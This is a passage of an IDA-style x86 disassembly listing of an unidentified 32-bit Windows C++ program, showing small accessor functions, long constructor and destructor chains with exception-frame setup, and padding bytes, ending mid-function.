; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416810	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416840	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416840	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168F0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169DB:				; CODE XREF: sub_4169C0+11j
		retn
sub_4169C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
		dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A7068h, 115CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A90:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401776
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F050
		test	eax, eax
		jle	short loc_416D17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: ___:0040126Cj sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_416D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: sub_416D30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416D30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_416D77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D77:				; CODE XREF: sub_416D60+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_401776j
		mov	dword ptr [ecx], offset	off_43F068
		jmp	sub_40204F
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401776
		test	byte ptr [esp+8], 1
		jz	short loc_416DF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DF8:				; CODE XREF: ___:00416DEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F074
		add	ecx, 4
		jmp	sub_401023
sub_416E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170B0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_4170B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417120	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417120	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417640	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176E0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417870	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179F0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179F0
		mov	eax, large fs:0
		push	eax
